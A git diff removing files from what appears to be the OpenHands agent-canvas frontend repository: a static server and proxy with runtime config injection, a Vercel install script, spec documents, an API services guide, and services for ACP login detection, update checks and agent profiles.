${prefix}`); - } - config.routes[prefix] = url; - break; - } - case "--session-api-key": - config.sessionApiKey = argv[++i] || null; - break; - case "--runtime-services-info": - config.runtimeServicesInfo = argv[++i] || null; - break; - case "--lock-to-cloud": - config.lockToCloud = argv[++i] || null; - break; - case "--base-path": - config.basePath = normalizeBasePath(argv[++i]); - break; - - case "--auth-required": - config.authRequired = true; - break; - case "--reject-prefix": { - const prefix = argv[++i]; - if (!prefix || !prefix.startsWith("/")) { - throw new Error( - `--reject-prefix value must start with '/': ${prefix ?? "(empty)"}`, - ); - } - config.rejectPrefixes.push(prefix); - break; - } - case "-h": - case "--help": - showHelp(); - process.exit(0); - default: - throw new Error(`Unknown flag: ${flag}`); - } - } - - // Guard: --session-api-key and --auth-required are semantically - // mutually exclusive. The first auto-injects the key (local mode); - // the second forces the user to paste it (public mode). Combining - // both is a misconfiguration. - if (config.sessionApiKey && config.authRequired) { - console.error( - "ERROR: --session-api-key and --auth-required are mutually exclusive.\n" + - " Use --session-api-key for local mode (key auto-injected).\n" + - " Use --auth-required for public mode (user pastes key).", - ); - process.exit(1); - } - - return config; -} - -function normalizeBasePath(value) { - const raw = (value ?? "").trim(); - if (!raw || raw === "/") return "/"; - - const withLeadingSlash = raw.startsWith("/") ? raw : `/${raw}`; - return withLeadingSlash.replace(/\/+$/, ""); -} - -function showHelp() { - console.log(` -Combined static file server + reverse proxy. - -USAGE: - node scripts/static-server.mjs [options] - -OPTIONS: - -p, --port Port to bind (default: 3001) - -H, --host Hostname to bind (default: :: dual-stack) - -d, --dir Directory to serve (default: build) - -r, --route Proxy (and subpaths) to ; - may be repeated. WebSockets supported. - --session-api-key Inject session API key into index.html so the - pre-built frontend authenticates to agent-server - without needing VITE_SESSION_API_KEY baked in. - --auth-required Inject authRequired flag into index.html so the - pre-built frontend shows the API key entry screen - (public mode) without VITE_AUTH_REQUIRED baked in. - --runtime-services-info - Inject a JSON description of the local runtime - services into index.html so the pre-built - frontend can populate the agent's - system-prompt block without - VITE_RUNTIME_SERVICES_INFO baked in. - --lock-to-cloud Lock backend setup to a single OpenHands Cloud - URL. Hides manual/local backend setup and the - custom Cloud URL field in the pre-built frontend. - --base-path Mount the SPA under (default: /). - For example, --base-path /canvas serves - index.html and assets under /canvas. - --reject-prefix Return 503 for requests matching - instead of SPA-fallbacking to index.html; - may be repeated. Useful in --frontend-only - mode to cleanly reject API paths. - -h, --help Show this help - -ROUTING: - • Routes are matched by longest prefix first (most-specific wins). - • Reject prefixes are checked before SPA fallback — matching requests - get 503 immediately. - • Anything that does not match a route or reject prefix is served - from --dir. - • Unknown paths fall back to index.html (SPA mode), unless they look - like an asset request (have a known file extension), in which case - a 404 is returned. -`); -} - -// ───────────────────────────────────────────────────────────────────────────── -// Runtime config injection -// ───────────────────────────────────────────────────────────────────────────── - -/** - * Build a tiny inline script that seeds runtime config into the page. - * - * - `sessionApiKey`: exposed to the app two ways so a fresh-localStorage - * browser can authenticate even though the published bundle has no - * VITE_SESSION_API_KEY baked in: - * 1. `window.__AGENT_CANVAS_SESSION_API_KEY__` — read by - * `getBakedSessionApiKey()` in `agent-server-config.ts` as a fallback - * when the env var is empty. This is symmetric with how - * `__AGENT_CANVAS_AUTH_REQUIRED__` works for the auth-required flag. - * 2. Written to `openhands-agent-server-config.sessionApiKey` in - * localStorage for compatibility with the legacy storage key. Useful - * for any code path that still reads it (e.g. e2e test fixtures). - * Always overwrites when the stored value differs so a rotated key - * is not shadowed by a stale one. - * - * - `authRequired`: sets `window.__AGENT_CANVAS_AUTH_REQUIRED__ = true` so the - * pre-built frontend shows the API key entry screen (public mode) without - * VITE_AUTH_REQUIRED baked in. - * - * - `runtimeServicesInfo`: a JSON string describing the local services - * (agent-server, automation, …), exposed as - * `window.__AGENT_CANVAS_RUNTIME_SERVICES_INFO__`. Read by - * `parseRuntimeServicesInfo()` in `agent-server-adapter.ts` as a fallback - * when `VITE_RUNTIME_SERVICES_INFO` is empty, so static builds (Docker / - * published binary) still populate the agent's `` block. - * - * - `lockToCloud`: an OpenHands Cloud URL exposed as - * `window.__AGENT_CANVAS_LOCK_TO_CLOUD__`. Read by `getLockedCloudHost()` in - * `agent-server-config.ts` so pre-built frontend bundles can hide manual - * backend setup and the custom Cloud URL field at runtime. - * - * - `basePath`: the path prefix the SPA is mounted under, exposed as - * `window.__AGENT_CANVAS_BASE_PATH__` so runtime static assets like locale - * files can resolve through the same subpath as the built bundle. - */ -function makeConfigInjectionScript( - sessionApiKey, - authRequired, - runtimeServicesInfo, - lockToCloud, - basePath, -) { - const parts = []; - - if (sessionApiKey) { - const keyLiteral = JSON.stringify(sessionApiKey); - // Window global — read at module init by getBakedSessionApiKey(). - // Set first so it's available even if the localStorage write throws. - parts.push(`window.__AGENT_CANVAS_SESSION_API_KEY__=${keyLiteral};`); - // Always overwrite when the stored key differs from the runtime key. - // A previous session may have persisted a now-stale key; the runtime - // value (from --session-api-key) is the server's truth. - parts.push( - `try{` + - `var _k='openhands-agent-server-config',` + - `_c=JSON.parse(localStorage.getItem(_k)||'{}');` + - `if(_c.sessionApiKey!==${keyLiteral}){` + - `_c.sessionApiKey=${keyLiteral};` + - `localStorage.setItem(_k,JSON.stringify(_c));` + - `}` + - `}catch(e){}`, - ); - } - - if (authRequired) { - parts.push(`window.__AGENT_CANVAS_AUTH_REQUIRED__=true;`); - } - - if (runtimeServicesInfo) { - // Stored as the raw JSON string so the browser-side parser - // (parseRuntimeServicesInfo) can JSON.parse it exactly like the - // VITE_RUNTIME_SERVICES_INFO env var. JSON.stringify produces a safe JS - // string literal for the inline `; -} - -/** - * Serve index.html with runtime config injected into . - * Returns true if the response was written, false if the file was not found. - */ -async function serveInjectedIndexHtml( - req, - res, - indexPath, - { - sessionApiKey, - authRequired, - runtimeServicesInfo, - lockToCloud, - basePath, - } = {}, -) { - let content; - try { - content = await readFile(indexPath, "utf8"); - } catch { - return false; - } - - const script = makeConfigInjectionScript( - sessionApiKey, - authRequired, - runtimeServicesInfo, - lockToCloud, - basePath, - ); - // Inject right before so the key is available before any app code runs. - // replace() targets the first (and only) in well-formed HTML. - const injected = content.includes("") - ? content.replace("", `${script}\n`) - : content.includes("") - ? content.replace("", `${script}\n`) - : script + content; - - const buf = Buffer.from(injected, "utf8"); - res.writeHead(200, { - "Content-Type": "text/html; charset=utf-8", - "Content-Length": buf.length, - "Cache-Control": "no-cache", - }); - if (req.method === "HEAD") { - res.end(); - } else { - res.end(buf); - } - return true; -} - -// ───────────────────────────────────────────────────────────────────────────── -// Static file serving -// ───────────────────────────────────────────────────────────────────────────── - -function parseUrlPath(req, res) { - const rawPath = (req.url ?? "/").split("?")[0]; - try { - return decodeURIComponent(rawPath); - } catch { - res.writeHead(400); - res.end("Bad Request"); - return null; - } -} - -function isGetOrHead(req) { - return req.method === "GET" || req.method === "HEAD"; -} - -function needsRuntimeInjection(injectionOpts) { - return Boolean( - injectionOpts.sessionApiKey || - injectionOpts.authRequired || - injectionOpts.runtimeServicesInfo || - injectionOpts.lockToCloud || - (injectionOpts.basePath && injectionOpts.basePath !== "/"), - ); -} - -function looksLikeAssetRequest(urlPath) { - const last = urlPath.split("/").pop() ?? ""; - return ASSET_LIKE_EXTENSIONS.has(extname(last).toLowerCase()); -} - -function matchesAnyPrefix(urlPath, prefixes) { - return prefixes.some((prefix) => matchesPathPrefix(urlPath, prefix)); -} - -function rejectUnavailable(res) { - res.writeHead(503, { "Content-Type": "text/plain; charset=utf-8" }); - res.end("Service Unavailable (no backend configured for this route)"); -} - -function notFound(res) { - res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" }); - res.end("Not Found"); -} - -function isMountedPath(urlPath, basePath) { - return ( - basePath === "/" || - urlPath === basePath || - urlPath.startsWith(`${basePath}/`) - ); -} - -function stripBasePathFromUrl(rawUrl, basePath) { - if (basePath === "/") return rawUrl; - - const [rawPath = "/", ...rest] = (rawUrl || "/").split("?"); - const suffix = rawPath.slice(basePath.length) || "/"; - const path = suffix.startsWith("/") ? suffix : `/${suffix}`; - return rest.length > 0 ? `${path}?${rest.join("?")}` : path; -} - -function redirectToMountedPath(req, res, urlPath, basePath) { - if (basePath === "/" || !isGetOrHead(req) || looksLikeAssetRequest(urlPath)) { - return false; - } - - const [, query = ""] = (req.url ?? "/").split("?", 2); - const path = urlPath === "/" ? "/" : urlPath; - const location = `${basePath}${path}${query ? `?${query}` : ""}`; - res.writeHead(308, { Location: location }); - res.end(); - return true; -} - -function setStaticHeaders(res, pathname) { - const extension = extname(pathname).toLowerCase(); - if (extension === ".js" || extension === ".mjs") { - res.setHeader("Content-Type", "application/javascript; charset=utf-8"); - } - - if (pathname.startsWith("/assets/")) { - res.setHeader("Cache-Control", "public, max-age=31536000, immutable"); - return; - } - res.setHeader("Cache-Control", "no-cache"); -} - -function createStaticMiddleware(dirAbs) { - return sirv(dirAbs, { - etag: true, - single: false, - setHeaders: setStaticHeaders, - }); -} - -async function handleStatic( - req, - res, - dirAbs, - staticMiddleware, - injectionOpts = {}, - rejectPrefixes = [], - basePath = "/", -) { - const urlPath = parseUrlPath(req, res); - if (urlPath === null) return; - - if (!isMountedPath(urlPath, basePath)) { - if (matchesAnyPrefix(urlPath, rejectPrefixes)) { - rejectUnavailable(res); - return; - } - if (!redirectToMountedPath(req, res, urlPath, basePath)) notFound(res); - return; - } - - const mountedUrl = stripBasePathFromUrl(req.url ?? "/", basePath); - const mountedPath = parseUrlPath({ ...req, url: mountedUrl }, res); - if (mountedPath === null) return; - - const injectRuntimeConfig = needsRuntimeInjection(injectionOpts); - const indexPath = resolve(dirAbs, "index.html"); - - if ( - injectRuntimeConfig && - isGetOrHead(req) && - (mountedPath === "/" || mountedPath === "/index.html") - ) { - if (await serveInjectedIndexHtml(req, res, indexPath, injectionOpts)) - return; - } - - const mountedReq = Object.create(req); - mountedReq.url = mountedUrl; - - staticMiddleware(mountedReq, res, async () => { - if (matchesAnyPrefix(mountedPath, rejectPrefixes)) { - rejectUnavailable(res); - return; - } - - if (isGetOrHead(req) && !looksLikeAssetRequest(mountedPath)) { - if (await serveInjectedIndexHtml(req, res, indexPath, injectionOpts)) { - return; - } - } - - notFound(res); - }); -} - -// ───────────────────────────────────────────────────────────────────────────── -// Server -// ───────────────────────────────────────────────────────────────────────────── - -export function startStaticServer(config) { - const route = createRouter(config.routes); - const proxy = createProxyHandlers({ label: `static:${config.port}` }); - const dirAbs = resolve(config.dir); - const injectionOpts = { - sessionApiKey: config.sessionApiKey || null, - authRequired: config.authRequired || false, - runtimeServicesInfo: config.runtimeServicesInfo || null, - lockToCloud: config.lockToCloud || null, - basePath: normalizeBasePath(config.basePath), - }; - const basePath = injectionOpts.basePath; - const rejectPrefixes = config.rejectPrefixes ?? []; - const staticMiddleware = createStaticMiddleware(dirAbs); - - const uninstallDiagnostics = proxy.installDiagnostics(); - - const server = createServer((req, res) => { - const backend = route(req.url ?? "/"); - if (backend) { - proxy.proxyHttp(req, res, backend); - return; - } - handleStatic( - req, - res, - dirAbs, - staticMiddleware, - injectionOpts, - rejectPrefixes, - basePath, - ).catch((err) => { - console.error(`Static handler error for ${req.url}:`, err); - if (!res.headersSent) { - res.writeHead(500); - res.end("Internal Server Error"); - } - }); - }); - - server.on("upgrade", (req, socket, head) => { - const backend = route(req.url ?? "/"); - if (backend) { - proxy.proxyWebSocket(req, socket, head, backend); - return; - } - socket.destroy(); - }); - server.on("close", uninstallDiagnostics); - - return new Promise((resolveListen) => { - server.listen(config.port, config.host, () => { - const displayPath = basePath === "/" ? "/" : `${basePath}/`; - console.log(""); - console.log( - `Static-server + proxy listening on http://${config.host}:${config.port}${displayPath}`, - ); - console.log(` Static dir: ${dirAbs}`); - console.log(` Base path: ${basePath}`); - const sortedRoutes = Object.entries(config.routes).sort( - ([a], [b]) => b.length - a.length, - ); - for (const [prefix, backend] of sortedRoutes) { - console.log(` ${prefix} -> ${backend}`); - } - if (rejectPrefixes.length > 0) { - for (const prefix of rejectPrefixes) { - console.log(` ${prefix} -> 503 (rejected)`); - } - } - if (config.lockToCloud) { - console.log(` Backend setup locked to Cloud: ${config.lockToCloud}`); - } - console.log(" * (default) -> static files + SPA fallback"); - console.log(""); - resolveListen(server); - }); - }); -} - -// ───────────────────────────────────────────────────────────────────────────── -// Main -// ───────────────────────────────────────────────────────────────────────────── - -const isMainModule = - process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href; - -if (isMainModule) { - try { - const config = parseArgs(); - await startStaticServer(config); - } catch (err) { - console.error(err instanceof Error ? err.message : err); - process.exit(1); - } -} diff --git a/scripts/vercel-install.sh b/scripts/vercel-install.sh deleted file mode 100755 index a12ad2249..000000000 --- a/scripts/vercel-install.sh +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env bash -# Custom Vercel install command. -# -# npm normalizes any GitHub URL it finds in package.json (including -# `git+https://github.com/...` and the `github:owner/repo` shorthand) to -# `git+ssh://git@github.com/...` when it writes package-lock.json. Vercel's -# build environment has no SSH key for GitHub, so npm cannot clone the -# `@openhands/typescript-client` git dependency and silently falls back to a -# stale cached copy — producing the dreaded -# `[MISSING_EXPORT] ConversationClient is not exported by -# node_modules/@openhands/typescript-client/dist/clients.js` at bundle time. -# -# Two defensive measures here: -# 1. Rewrite any `git+ssh://git@github.com/` URLs in package-lock.json -# to `git+https://github.com/` before invoking npm so the lockfile -# Vercel actually consumes is HTTPS-only, regardless of which lockfile -# shape happened to be committed. -# 2. Configure git globally to translate the matching ssh forms into -# https — this catches anything npm has already cached as an ssh URL -# and any future git deps that hit the same bug. -# -# See https://github.com/OpenHands/agent-canvas/issues/384 for the original -# bug report. -set -euo pipefail - -if [ -f package-lock.json ]; then - sed -i 's|git+ssh://git@github.com/|git+https://github.com/|g' package-lock.json -fi - -git config --global url."https://github.com/".insteadOf "ssh://git@github.com/" -git config --global url."https://github.com/".insteadOf "git@github.com:" - -npm ci diff --git a/specs/backend-management.md b/specs/backend-management.md deleted file mode 100644 index 53df60a0b..000000000 --- a/specs/backend-management.md +++ /dev/null @@ -1,12 +0,0 @@ -# Backend Management Specs - ---- - -### BM-001: Auto-switch on connect -- [x] Adding a backend shall automatically switch the active selection to it. - -### BM-002: Switching backends keeps the user on the same page -- [x] Switching backends shall redirect to the same section but on the new backend. The user shall never see stale data from the previous backend. - -### BM-003: Fallback on active backend removal -- [x] Removing the currently active backend shall fall back to a remaining local backend. The user shall never be left without an active backend. \ No newline at end of file diff --git a/specs/llm-defaults.md b/specs/llm-defaults.md deleted file mode 100644 index 111e5fe11..000000000 --- a/specs/llm-defaults.md +++ /dev/null @@ -1,9 +0,0 @@ -# LLM Defaults Specs - ---- - -### LLD-001: Frontend always sends its chosen default model -- [x] When the agent-server returns an absent or empty `llm.model` (e.g. because the user has never saved settings), the frontend adapter shall substitute `DEFAULT_SETTINGS.llm_model` (`"openhands/minimax-m2.7"`) before sending the conversation-start request. -- [x] The frontend shall never rely on the agent-server SDK's own default model (`gpt-5.5`); it shall always send an explicit model value. -- [x] Whitespace-only model strings shall be treated as absent and fall back to the default. -- [x] The same guard applies when LLM settings arrive via `encryptedAgentSettings` (the conversation-start encrypted payload path). diff --git a/specs/workspace-upload-path.md b/specs/workspace-upload-path.md deleted file mode 100644 index ebcf480d0..000000000 --- a/specs/workspace-upload-path.md +++ /dev/null @@ -1,16 +0,0 @@ -# Workspace Upload Path Specs - ---- - -### WUP-001: Relative working dirs are resolved against `/api/file/home`, not the filesystem root -- [x] When the frontend creates a conversation and the resolved working dir is **relative** (e.g. the `DEFAULT_WORKING_DIR = "workspace/project"` fallback), `AgentServerConversationService.createConversation` shall resolve it to an **absolute** path before sending `workspace.working_dir` to the agent-server, by prefixing the agent-server's home directory as returned by `GET /api/file/home`. -- [x] When the frontend uploads a file, `buildWorkspaceUploadPath` shall resolve the conversation's working dir through the same home-directory anchor, so the upload destination always matches the conversation's worktree location. -- [x] When the working dir is already absolute (e.g. POSIX `/foo`, Windows `C:\foo`, or the explicit selection from `search_subdirs`), the resolver shall pass it through unchanged. -- [x] The home-directory lookup shall be cached per backend host so concurrent uploads share a single in-flight `/api/file/home` request, and a cached value is reused for subsequent uploads. -- [x] A failed lookup shall not be cached so the next call retries fresh. -- [x] Upload paths shall never be constructed by naively prepending `/`; the legacy `toAbsoluteWorkspacePath` helper that did so was removed once its last callers disappeared (recoverable from git history), and the home-anchored resolver is the only sanctioned mechanism. - -### Why this exists -- The agent-server's `/api/file/upload` endpoint requires an absolute path and `mkdir -p`s the parent of the destination. Naively prepending `/` to the default `workspace/project/` produces `/workspace/project/`. On macOS and on fresh Docker images that mount only `/home/` as writable, the filesystem root is read-only, so the upload fails with `OSError: [Errno 30] Read-only file system: '/workspace'`. -- The agent-server otherwise interprets a relative `workspace.working_dir` against its process CWD (which is whichever directory the launcher used), so absent this resolver, the conversation's worktree lands in one place and the upload tries to land in a totally different place. -- `/api/file/home` is the most reliable absolute, writable anchor the agent-server API currently exposes; `/server_info` does not include the CWD. diff --git a/src/api/README.md b/src/api/README.md deleted file mode 100644 index 0c4a44d6c..000000000 --- a/src/api/README.md +++ /dev/null @@ -1,98 +0,0 @@ -# API Services Guide - -## Overview - -Services are the abstraction layer between frontend components and backend APIs. Local agent-server API access should use `@openhands/typescript-client` classes directly, with shared connection options from `src/api/agent-server-client-options.ts` for the active local backend host, session API key, and workspace defaults. - -Cloud-specific APIs should use the cloud service modules/proxy helpers instead of local agent-server clients. - -Each service is a plain object with async methods. - -## Structure - -Each service lives in its own directory: - -``` -src/api/ -└── feature-service/ - ├── feature-service.api.ts # Service methods - └── feature.types.ts # Types and interfaces -``` - -## Creating a Service - -Use an object literal with named export. Use object destructuring for parameters to make calls self-documenting. Prefer typed `@openhands/typescript-client` classes over generic HTTP calls. If a needed endpoint is missing, add it to `@openhands/typescript-client` first. - -```typescript -// feature-service/feature-service.api.ts -import { FeatureClient } from "@openhands/typescript-client/clients"; -import { getAgentServerClientOptions } from "../agent-server-client-options"; -import { Feature, CreateFeatureParams } from "./feature.types"; - -export const featureService = { - getFeature: async ({ id }: { id: string }): Promise => { - return new FeatureClient(getAgentServerClientOptions()).getFeature(id); - }, - - createFeature: async (params: CreateFeatureParams): Promise => { - return new FeatureClient(getAgentServerClientOptions()).createFeature(params); - }, -}; -``` - -### Types - -Define app-specific types in a separate file within the same directory when the TypeScript client models are not sufficient: - -```typescript -// feature-service/feature.types.ts -export interface Feature { - id: string; - name: string; - description: string; -} - -export interface CreateFeatureParams { - name: string; - description: string; -} -``` - -## Usage - -> [!IMPORTANT] -> **Don't call services directly in components.** Wrap them in TanStack Query hooks. -> -> Why? TanStack Query provides: -> -> - **Caching** - Avoid redundant network requests -> - **Deduplication** - Multiple components requesting the same data share one request -> - **Loading/error states** - Built-in `isLoading`, `isError`, `data` states -> - **Background refetching** - Data stays fresh automatically -> -> Hooks location: -> -> - `src/hooks/query/` for data fetching (`useQuery`) -> - `src/hooks/mutation/` for writes/updates (`useMutation`) - -```typescript -// src/hooks/query/use-feature.ts -import { useQuery } from "@tanstack/react-query"; -import { featureService } from "#/api/feature-service/feature-service.api"; - -export const useFeature = (id: string) => { - return useQuery({ - queryKey: ["feature", id], - queryFn: () => featureService.getFeature({ id }), - }); -}; -``` - -## Naming Conventions - -| Item | Convention | Example | -| ------------ | ------------------------ | ------------------------ | -| Directory | `feature-service/` | `secrets-service/` | -| Service file | `feature-service.api.ts` | `secrets-service.api.ts` | -| Types file | `feature.types.ts` | `secrets.types.ts` | -| Export name | `featureService` | `secretsService` | diff --git a/src/api/acp-service/acp-service.api.ts b/src/api/acp-service/acp-service.api.ts deleted file mode 100644 index a73277547..000000000 --- a/src/api/acp-service/acp-service.api.ts +++ /dev/null @@ -1,110 +0,0 @@ -import { BashClient } from "@openhands/typescript-client/clients"; -import type { BashOutput } from "@openhands/typescript-client"; -import { getAgentServerClientOptions } from "../agent-server-client-options"; - -export type AcpAuthStatus = "authenticated" | "unauthenticated" | "unknown"; - -// Hard cap (seconds) for a single detection command. These are fast local -// status checks (no npx download), so 10s is ample for a healthy CLI while -// keeping the onboarding spinner short before falling back to "unknown". -const PROBE_TIMEOUT_SECONDS = 10; - -interface AcpAuthProbe { - /** Shell command run on the (local) agent-server host to detect login. */ - command: string; - /** Classify the command's output into an auth status. */ - classify: (out: BashOutput) => AcpAuthStatus; -} - -/** Combined stdout+stderr — CLIs are inconsistent about which stream they use - * (e.g. ``codex login status`` writes to stderr). */ -function streams(out: BashOutput): string { - return `${out.stdout ?? ""}\n${out.stderr ?? ""}`; -} - -// Claude Code: ``claude auth status --json`` prints {"loggedIn": bool, …}. The -// CLI exits non-zero when logged out, so we read the JSON, not the exit code. -// No parseable ``loggedIn`` (e.g. the CLI isn't installed → "command not -// found", empty stdout) ⇒ unknown, so onboarding shows the API-key fields -// rather than guessing. -function classifyClaude(out: BashOutput): AcpAuthStatus { - let parsed: unknown; - try { - parsed = JSON.parse((out.stdout ?? "").trim()); - } catch { - return "unknown"; - } - const loggedIn = (parsed as { loggedIn?: unknown } | null)?.loggedIn; - if (typeof loggedIn === "boolean") { - return loggedIn ? "authenticated" : "unauthenticated"; - } - return "unknown"; -} - -// Codex: ``codex login status`` prints "Logged in using …" / "Not logged in" -// (to stderr), so check both streams. Match "not logged in" first since it -// contains the "logged in" substring. Neither phrase (e.g. CLI missing) ⇒ -// unknown. -function classifyCodex(out: BashOutput): AcpAuthStatus { - const text = streams(out).toLowerCase(); - if (text.includes("not logged in")) return "unauthenticated"; - if (text.includes("logged in")) return "authenticated"; - return "unknown"; -} - -// Gemini CLI signs in via Google OAuth and has no status command, so we check -// its credentials file. The command echoes present/absent and exits 0 either -// way; anything else (a shell failure) ⇒ unknown. -function classifyGemini(out: BashOutput): AcpAuthStatus { - // The command echoes exactly `present` / `absent` to stdout, so match trimmed - // stdout exactly. Reading only stdout (not stderr) means a stray shell - // warning can't turn a real result into `unknown`. - const text = (out.stdout ?? "").trim(); - if (text === "present") return "authenticated"; - if (text === "absent") return "unauthenticated"; - return "unknown"; -} - -// Per-provider login detection, keyed by ``acp_server`` / OnboardingAgentId. -// Providers absent here (OpenHands, custom, unknown) report ``unknown``. -const ACP_AUTH_PROBES: Record = { - "claude-code": { - command: "claude auth status --json", - classify: classifyClaude, - }, - codex: { - command: "codex login status", - classify: classifyCodex, - }, - "gemini-cli": { - command: - 'test -f "$HOME/.gemini/oauth_creds.json" && echo present || echo absent', - classify: classifyGemini, - }, -}; - -/** - * Detects whether the selected ACP provider is already logged in — entirely - * client-side, with **no dedicated agent-server endpoint**. It runs the - * provider's own status command (or, for Gemini, a credentials-file check) - * through the existing agent-server bash endpoint and classifies the output. - * - * Gated by the caller to **local backends**: the command runs wherever the - * agent-server runs, and on a user's own machine the provider CLIs and - * credential files live at their standard paths. No prompt is sent, so no model - * tokens are spent. A provider that can't be classified — CLI not installed, - * unexpected output, or the bash call failing — comes back as ``unknown`` so - * onboarding falls back to the API-key fields rather than a misleading banner. - */ -class AcpService { - static async getAuthStatus(server: string): Promise { - const probe = ACP_AUTH_PROBES[server]; - if (!probe) return "unknown"; - const out = await new BashClient( - getAgentServerClientOptions(), - ).executeCommand(probe.command, undefined, PROBE_TIMEOUT_SECONDS); - return probe.classify(out); - } -} - -export default AcpService; diff --git a/src/api/agent-canvas-updates.test.ts b/src/api/agent-canvas-updates.test.ts deleted file mode 100644 index 62dfbb76d..000000000 --- a/src/api/agent-canvas-updates.test.ts +++ /dev/null @@ -1,41 +0,0 @@ -import { afterEach, describe, expect, it, vi } from "vitest"; -import { fetchLatestAgentCanvasVersion } from "./agent-canvas-updates"; - -function stubFetchResponse(response: Partial) { - const fetchMock = vi.fn().mockResolvedValue(response as Response); - vi.stubGlobal("fetch", fetchMock); - return fetchMock; -} - -afterEach(() => { - vi.unstubAllGlobals(); -}); - -describe("fetchLatestAgentCanvasVersion", () => { - it("fetches the npm registry latest dist-tag and returns the trimmed version", async () => { - const fetchMock = stubFetchResponse({ - ok: true, - json: async () => ({ version: " 1.6.0 " }), - }); - - await expect(fetchLatestAgentCanvasVersion()).resolves.toBe("1.6.0"); - expect(fetchMock).toHaveBeenCalledWith( - "https://registry.npmjs.org/@openhands/agent-canvas/latest", - expect.objectContaining({ headers: { Accept: "application/json" } }), - ); - }); - - it("rejects when the registry responds with an error status", async () => { - stubFetchResponse({ ok: false, status: 503 }); - - await expect(fetchLatestAgentCanvasVersion()).rejects.toThrow("503"); - }); - - it("rejects when the response has no usable version field", async () => { - stubFetchResponse({ ok: true, json: async () => ({ version: 42 }) }); - - await expect(fetchLatestAgentCanvasVersion()).rejects.toThrow( - "missing version", - ); - }); -}); diff --git a/src/api/agent-canvas-updates.ts b/src/api/agent-canvas-updates.ts deleted file mode 100644 index 1db3d022e..000000000 --- a/src/api/agent-canvas-updates.ts +++ /dev/null @@ -1,37 +0,0 @@ -/** - * Source of truth for "is a newer Agent Canvas published?". - * - * The npm registry `latest` dist-tag endpoint is CORS-open and returns the - * abbreviated packument for that version as JSON. Isolated here so the - * release channel can change (e.g. GitHub releases) without touching the - * query hook or the settings update card. - */ -const NPM_LATEST_VERSION_URL = - "https://registry.npmjs.org/@openhands/agent-canvas/latest"; - -export const AGENT_CANVAS_RELEASE_NOTES_URL = - "https://github.com/OpenHands/agent-canvas/releases"; - -/** Literal shell commands — intentionally not localized. */ -export const AGENT_CANVAS_UPDATE_COMMANDS = { - npm: "npm install -g @openhands/agent-canvas@latest", - docker: "docker pull ghcr.io/openhands/agent-canvas:latest", -} as const; - -export async function fetchLatestAgentCanvasVersion( - signal?: AbortSignal, -): Promise { - const response = await fetch(NPM_LATEST_VERSION_URL, { - signal, - headers: { Accept: "application/json" }, - }); - if (!response.ok) { - throw new Error(`npm registry responded ${response.status}`); - } - const body: unknown = await response.json(); - const version = (body as { version?: unknown } | null)?.version; - if (typeof version !== "string" || !version.trim()) { - throw new Error("npm registry response missing version"); - } - return version.trim(); -} diff --git a/src/api/agent-profiles-service/agent-profiles-service.api.ts b/src/api/agent-profiles-service/agent-profiles-service.api.ts deleted file mode 100644 index 530d96f77..000000000 --- a/src/api/agent-profiles-service/agent-profiles-service.api.ts +++ /dev/null @@ -1,130 +0,0 @@ -/** - * AgentProfilesService wraps the SDK's AgentProfilesClient, creating a client - * per-call so it always picks up the active backend's host/apiKey (same pattern - * as ProfilesService / SettingsService). - * - * Backs the Settings → Agent profiles library + reused agent editor. The - * `AgentProfilesClient` ships in ts-client (pinned 1.28.0 here); the - * `/api/agent-profiles` endpoints it targets shipped in agent-server v1.29.0 - * (local) and in the enterprise cloud app-server (OpenHands #15060, epic - * #3730). Cloud exposes the SAME contract but authenticates with a bearer - * token + `X-Org-Id`, so cloud calls route through `callCloudProxy` (see - * `cloud/agent-profiles-service.api.ts`) instead of the direct client. - */ -import { - AgentProfilesClient, - type GetAgentProfileOptions, -} from "@openhands/typescript-client/clients"; -import type { - AgentProfile, - AgentProfileSummary, - AgentProfileSaveInput, - AgentProfileListResponse, - AgentProfileDetailResponse, - AgentProfileMutationResponse, - ActivateAgentProfileResponse, - ExposeSecretsMode, -} from "@openhands/typescript-client"; -import { getAgentServerClientOptions } from "../agent-server-client-options"; -import { getActiveBackend } from "../backend-registry/active-store"; -import { - listCloudAgentProfiles, - getCloudAgentProfile, - saveCloudAgentProfile, - deleteCloudAgentProfile, - renameCloudAgentProfile, - activateCloudAgentProfile, -} from "../cloud/agent-profiles-service.api"; - -function isCloud(): boolean { - return getActiveBackend().backend.kind === "cloud"; -} - -/** - * The seeded, well-known baseline agent profile. The backend lazily seeds it to - * mirror the user's global config (#3719), and onboarding configures it from the - * user's choice. It stands in for global `agent_settings`, so the home-launch - * path treats it as the enriched baseline rather than a deliberate profile - * selection (see `useCreateConversation`). - */ -export const WELL_KNOWN_DEFAULT_AGENT_PROFILE_NAME = "default"; - -// Re-export SDK types for consumers. -export type { - AgentProfile, - AgentProfileSummary, - AgentProfileSaveInput, - AgentProfileListResponse, - AgentProfileDetailResponse, - AgentProfileMutationResponse, - ActivateAgentProfileResponse, -}; - -class AgentProfilesService { - static async listProfiles(): Promise { - if (isCloud()) return listCloudAgentProfiles(); - return new AgentProfilesClient( - getAgentServerClientOptions(), - ).listAgentProfiles(); - } - - static async getProfile( - name: string, - exposeSecrets?: ExposeSecretsMode, - ): Promise { - // Agent profiles are secret-free at rest now (embedded skills and their - // `mcp_tools` were removed in #4017 — a profile carries only refs + the - // `disabled_skills` deny-list of names), so `exposeSecrets` is vestigial and - // cloud ignores it; kept for local signature parity with ProfilesService. - if (isCloud()) return getCloudAgentProfile(name); - const options: GetAgentProfileOptions = exposeSecrets - ? { exposeSecrets } - : {}; - return new AgentProfilesClient( - getAgentServerClientOptions(), - ).getAgentProfile(name, options); - } - - /** Create or overwrite a profile by name (upsert). */ - static async saveProfile( - name: string, - profile: AgentProfileSaveInput, - ): Promise { - if (isCloud()) return saveCloudAgentProfile(name, profile); - return new AgentProfilesClient( - getAgentServerClientOptions(), - ).saveAgentProfile(name, profile); - } - - static async deleteProfile( - name: string, - ): Promise { - if (isCloud()) return deleteCloudAgentProfile(name); - return new AgentProfilesClient( - getAgentServerClientOptions(), - ).deleteAgentProfile(name); - } - - static async renameProfile( - name: string, - newName: string, - ): Promise { - if (isCloud()) return renameCloudAgentProfile(name, newName); - return new AgentProfilesClient( - getAgentServerClientOptions(), - ).renameAgentProfile(name, newName); - } - - /** Activate by the profile's stable UUID `id` (pointer-only; never writes - * agent_settings). */ - static async activateProfile( - profileId: string, - ): Promise { - if (isCloud()) return activateCloudAgentProfile(profileId); - return new AgentProfilesClient( - getAgentServerClientOptions(), - ).activateAgentProfile(profileId); - } -} - -export default AgentProfilesService; diff --git 